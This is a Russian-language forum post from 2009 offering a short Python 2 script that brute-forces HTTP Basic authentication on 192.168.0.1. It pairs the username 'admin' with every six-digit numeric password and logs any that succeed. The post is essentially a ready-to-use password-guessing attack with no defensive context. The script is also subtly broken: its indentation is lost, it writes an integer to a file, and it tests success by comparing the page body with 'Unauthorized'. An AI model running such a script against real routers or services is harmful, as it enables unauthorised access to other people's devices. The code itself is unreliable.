
14.12.2009, 18:13
|
|
Познающий
Регистрация: 19.06.2009
Сообщений: 34
Провел на форуме: 88269
Репутация:
10
|
|
Код на Python, брутит Basic авторизацию, пароль от 100000 до 999999 на admin на хосте 192.168.0.1
Код:
import base64,httplib
fl = open('log.txt','w')
for i in range(100000,999999):
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/html","Authorization":"Basic "+base64.b64encode('admin:'+str(i))}
conn = httplib.HTTPConnection("192.168.0.1")
conn.request("GET", "/", {}, headers)
response = conn.getresponse()
data = response.read()
conn.close()
if (data != 'Unauthorized'):
fl.write(i)
fl.close()
|
|
|